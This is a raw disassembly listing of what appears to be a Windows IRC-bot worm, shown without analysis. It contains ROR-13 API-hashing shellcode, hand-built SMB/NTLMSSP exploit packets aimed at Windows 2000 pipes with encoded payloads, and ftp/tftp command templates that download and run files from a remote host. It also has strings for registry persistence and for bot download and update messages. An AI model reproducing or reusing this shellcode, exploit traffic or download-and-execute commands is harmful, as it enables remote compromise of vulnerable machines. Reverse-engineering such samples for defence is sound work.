pop esi
pop ebx
jmp eax
sub_41A718 endp
; =============== S U B R O U T I N E =======================================
sub_41A78F proc near ; CODE XREF: sub_41A718+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_41A7B8
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_41A78F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A7B8 proc near ; CODE XREF: sub_41A78F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_41A7C7: ; CODE XREF: sub_41A7B8+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_41A7D4
inc ebx
jmp short loc_41A7C7
; ---------------------------------------------------------------------------
loc_41A7D4: ; CODE XREF: sub_41A7B8+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_41A7B8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A7DD proc near ; CODE XREF: sub_41A718+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_41A7F5: ; CODE XREF: sub_41A7DD+1Ej
cmp [ecx], ebx
jz short loc_41A7FD
mov ecx, [ecx]
jmp short loc_41A7F5
; ---------------------------------------------------------------------------
loc_41A7FD: ; CODE XREF: sub_41A7DD+1Aj
mov edx, edi
loc_41A7FF: ; CODE XREF: sub_41A7DD+2Aj
cmp [edx+4], ebx
jz short loc_41A809
mov edx, [edx+4]
jmp short loc_41A7FF
; ---------------------------------------------------------------------------
loc_41A809: ; CODE XREF: sub_41A7DD+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_41A7DD endp
; =============== S U B R O U T I N E =======================================
sub_41A814 proc near ; CODE XREF: sub_41A718+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_41A814 endp
; =============== S U B R O U T I N E =======================================
sub_41A82A proc near ; CODE XREF: sub_41A718+16p
; sub_41A718+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_41A840: ; CODE XREF: sub_41A82A+33j
jecxz short loc_41A87A
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_41A84D: ; CODE XREF: sub_41A82A+2Dj
lodsb
cmp al, ah
jz short loc_41A859
ror edi, 0Dh
add edi, eax
jmp short loc_41A84D
; ---------------------------------------------------------------------------
loc_41A859: ; CODE XREF: sub_41A82A+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_41A840
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_41A87A: ; CODE XREF: sub_41A82A:loc_41A840j
; sub_41A82A:loc_41A87Aj
jmp short loc_41A87A
sub_41A82A endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_41A880 proc near ; DATA XREF: sub_4023B8+30o
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_41A8D2
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_41A89D: ; CODE XREF: sub_41A880+38j
jecxz short loc_41A8CD
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_41A8A8: ; CODE XREF: sub_41A880+32j
lodsb
test al, al
jz short loc_41A8B4
ror edx, 0Dh
add edx, eax
jmp short loc_41A8A8
; ---------------------------------------------------------------------------
loc_41A8B4: ; CODE XREF: sub_41A880+2Bj
cmp edx, [esp+arg_0]
jnz short loc_41A89D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_41A8CD: ; CODE XREF: sub_41A880:loc_41A89Dj
mov [esp+arg_0], ebx
retn
sub_41A880 endp
; =============== S U B R O U T I N E =======================================
sub_41A8D2 proc near ; CODE XREF: sub_41A880+7p
; FUNCTION CHUNK AT 0041A90A SIZE 00000007 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_41A8EB
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_41A8F6
; ---------------------------------------------------------------------------
loc_41A8EB: ; CODE XREF: sub_41A8D2+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_41A8F6: ; CODE XREF: sub_41A8D2+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_41A90A
sub_41A8D2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41A8FD proc near ; CODE XREF: sub_41A8D2:loc_41A90Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_41A8FD endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_41A8D2
loc_41A90A: ; CODE XREF: sub_41A8D2+29j
call sub_41A8FD
loc_41A90F: ; DATA XREF: sub_401B6C+1Bo
; sub_4077FD+74Fo
add [ebx], ah
; END OF FUNCTION CHUNK FOR sub_41A8D2
; ---------------------------------------------------------------------------
db 3 dup(0)
dword_41A914 dd 60h ; DATA XREF: sub_401BC7+320o
dword_41A918 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_401BC7+2F5o
dword_41A924 dd 30h ; DATA XREF: sub_401BC7+2CAo
; .nsp0:0041E154o
dword_41A928 dd 0A1h ; DATA XREF: sub_401BC7+29Fo
dword_41A92C dd 3 ; DATA XREF: sub_401BC7+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_401BC7+153o
align 4
loc_41A938: ; DATA XREF: sub_401BC7+E8o
jmp short near ptr dword_41A940
; ---------------------------------------------------------------------------
align 10h
dword_41A940 dd 2 dup(0) ; CODE XREF: .nsp0:loc_41A938j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: sub_4023B8+57o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 10h
aB: ; DATA XREF: sub_402972+ADo
unicode 0, <>
dw 4400h
aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_41AA00 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+CEo
dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0)
dword_41AA60 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+E8o
dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_0 db 'Windows 2000 5.0',0
dd 2 dup(0)
dword_41AB18 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+102o
dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 8Fh
; ---------------------------------------------------------------------------
jno short loc_41AC16
mov ecx, 484962Fh
retf 0EE65h
; ---------------------------------------------------------------------------
dw 0DAFBh
db 0CEh ;
db 9Eh, 0AFh, 28h
db 8Eh ;
db 0EEh, 7Ah, 54h
db 69h ; i
db 85h, 28h, 57h
db 0
db 4Fh, 0, 52h
db 0
db 4Bh, 0, 53h
db 0
dd offset loc_410051+3
dd offset loc_490054
db 4Fh, 0, 4Eh
db 0
db 31h, 0, 57h
aIndows20002195 db 'indows 2000 2195',0
aWindows20005_1 db 'Windows 2000 5.0',0
align 10h
dword_41AC10 dd 3A000000h ; DATA XREF: sub_402972+119o
db 0FFh, 53h
; ---------------------------------------------------------------------------
loc_41AC16: ; CODE XREF: .nsp0:0041ABBCj
dec ebp
inc edx
jnz short $+2
; ---------------------------------------------------------------------------
dw 0
dd 20011800h, 3 dup(0)
dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_41AC50 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+130o
dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0)
dword_41ACB8 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+14Ao
dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_41AD50 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+164o
; sub_402972+1DAo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 6B001F00h, 14C658Ch, 0
dd 1000000h, 0
dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h
dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h
dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h
dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h
dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h
dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h
dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh
dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h
dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h
dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch
dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh
dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0
dword_41AEB0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+17Eo
; sub_402972+1F4o
dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h
dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h
dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh
dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h
dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h
dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h
dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh
dd 73819842h, 0ECB7A9FEh
aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8'
db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0
align 10h
dword_41B010 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+198o
; sub_402972+20Eo
dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h
dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h
dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch
dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah
dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h
dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h
dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h
dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h
dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah
dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h
dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h
dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h
dd 0
dd 1000000h, 0
dd 0AD91A700h, 2 dup(0)
dword_41B170 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+1AFo
; sub_402972+225o
dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch
dd 100200h, 1C0000h, 0
dd 40000h, 0
dd 1Fh, 2 dup(0)
unk_41B1E0 db 81h ; ; DATA XREF: sub_402972+283o
db 2 dup(0), 44h
aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0
align 10h
dword_41B230 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+2A4o
dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h
dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h
dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0)
dword_41B290 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+2BEo
dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h
dd 0
dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h
dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah
dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0
db 0
db 20h, 2 dup(0)
db 0
db 0Ch, 0, 0Ch
db 0
db 20h, 2 dup(0)
db 0
aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0
aWindows20005_2 db 'Windows 2000 5.0',0
dd 2 dup(0)
dword_41B348 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0)
; DATA XREF: sub_402972+2D8o
dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h
dd 0
dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h
dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h
dd 58001800h, 0
dd 70000000h, 0
dd 70000000h, 18000000h, 70001800h, 2 dup(0)
dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0)
db 0
db 2 dup(0), 0A3h
db 9Eh ;
db 5Eh, 9Bh, 4
db 57h ; W
db 0E3h, 15h, 0B7h
db 6Fh ; o
db 44h, 0E9h, 1Eh
db 49h ; I
db 0FEh, 0C0h, 0BEh
db 0E9h ;
db 0A6h, 0A7h, 7Fh
aPmiw db 'pmiW',0
aO_0 db 'O',0
aR_0 db 'R',0
aK_0 db 'K',0
aS_1 db 'S',0
dd offset loc_410051+3
dd offset loc_490054
db 4Fh, 0, 4Eh
db 0
db 31h, 0, 57h
aIndows200021_0 db 'indows 2000 2195',0
aWindows20005_3 db 'Windows 2000 5.0',0
align 10h
dword_41B440 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+2EFo
dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0)
db 0
db 2 dup(0), 40h
db 0
db 2 dup(0), 25h
db 0
db 2 dup(0), 57h
aIndows200021_1 db 'indows 2000 2195',0
aWindows20005_4 db 'Windows 2000 5.0',0
align 4
dword_41B4A8 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+306o
dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch
dd 244350h, 3F3F3F3Fh, 3Fh
dword_41B4E8 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+31Do
dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0
dd 2019Fh, 3 dup(0)
dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0)
dword_41B550 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+337o
dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch
dd 10030Bh, 480000h, 0
dd 16D00000h, 16D0h, 10000h, 0
dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h
dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h
dd 0
dword_41B5E8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+351o
; sub_402972+3E0o
dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh
dd 11800h, 3F011800h, 0
dd 5011800h, 10010000h, 18000000h, 1, 0
dd 1, 0F2001F00h, 1F2207Ch, 0
dd 1000000h, 0
dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h
dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h
dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h
dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h
dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h
dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h
dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h
dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h
dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh
dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah
dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h
dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0
dword_41B748 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+36Bo
; sub_402972+3FAo
dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh
dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h
dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h
dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h
dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h
dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h
dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h
dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah
dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h
dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h
dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h
dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah
dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h
dd 0
dword_41B8A8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+385o
; sub_402972+414o
dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh
dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h
dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh
dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h
dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h
dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh
dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h
dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh
dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h
dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh
dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h
dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h
dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h
dd 0
dword_41BA08 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+39Fo
; sub_402972+42Eo
dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h
dd 8FFFFFFh, 11800h, 3F011800h, 0
dd 5011800h, 10000000h, 18000000h, 1, 0
dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h
dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h
dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h
dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch
dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h
dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah
dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh
dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h
dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h
dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h
dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch
dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh
dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h
dd 0
dword_41BB68 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0)
; DATA XREF: sub_402972+3B9o
; sub_402972+448o
dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0)
dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch
dd 100200h, 800000h, 0
dd 680000h, 0
dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2
dd 0BE895Bh, 20000h, 0
dd 20000h, 2EB0000h, 760000h, 2 dup(0)
dword_41BC38 dd 0A0D7325h, 0 ; DATA XREF: sub_402E09+100o
; sub_4077FD+2DACo
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &echo qu'
; DATA XREF: sub_402E09+BCo
db 'it >> o &ftp -n -s:o &del /F /Q o &%s',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_402E09+95o
aH1dd3nS__RootS db 'h1dd3n (%s) .. Root searching %s',0 ; DATA XREF: .nsp0:00402FC6o
aD_SS db '%d. %s = %s',0 ; DATA XREF: sub_4030CD+35o
aAliasList db '-[Alias List]-',0 ; DATA XREF: sub_4030CD+10o
align 10h
a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_403145+63o
align 4
dword_41BD24 dd 78h ; DATA XREF: sub_40322D+Ar
dword_41BD28 dd 80000002h ; DATA XREF: sub_4031BC+24r
off_41BD2C dd offset aSoftwareMicr_0 ; DATA XREF: sub_4031BC+1Er
; "Software\\Microsoft\\Windows\\CurrentVersi"...
dd 80000002h, 41DF98h, 80000001h, 41DFD0h
dword_41BD40 dd 6272h ; DATA XREF: sub_40327E+Bo
; sub_404475+24o ...
unk_41BD44 db 1Fh ; DATA XREF: sub_4032EE+480o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aBadUrlOrDnsErr db ' Bad URL, or DNS Error: %s.',0
align 4
unk_41BD74 db 1Fh ; DATA XREF: sub_4032EE+472o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aUpdateFailedEr db ' Update failed: Error executing file: %s.',0
align 10h
unk_41BDB0 db 1Fh ; DATA XREF: sub_4032EE+3B6o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aDownloaded_1fk db ' Downloaded %.1fKB to %s @ %.1fKB/sec. Updating.',0
align 4
dword_41BDF4 dd 264021Fh, 6E776F1Fh, 64616F6Ch, 2BB0220h, 704F20BBh
; DATA XREF: sub_4032EE+34Do
dd 64656E65h, 7325203Ah, 2Eh
aOpen db 'open',0 ; DATA XREF: sub_4032EE+32Bo
; sub_4077FD+1314o ...
align 4
unk_41BE1C db 1Fh ; DATA XREF: sub_4032EE+2D6o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aDownloaded_1fK db ' Downloaded %.1f KB to %s @ %.1f KB/sec.',0
align 4
unk_41BE58 db 1Fh ; DATA XREF: sub_4032EE+257o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aCrcFailedDD_ db ' CRC Failed (%d != %d).',0
align 4
unk_41BE84 db 1Fh ; DATA XREF: sub_4032EE+1CDo
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aFilesizeIsInco db ' Filesize is incorrect: (%d != %d).',0
align 4
unk_41BEBC db 1Fh ; DATA XREF: sub_4032EE:loc_403486o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aUpdateSDkbTran db ' Update: %s (%dKB transferred).',0
align 10h
unk_41BEF0 db 1Fh ; DATA XREF: sub_4032EE+191o
db 2, 64h, 2
db 1Fh
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 20h
db 2, 0BBh, 2
aFileDownloadSD db ' File download: %s (%dKB transferred).',0
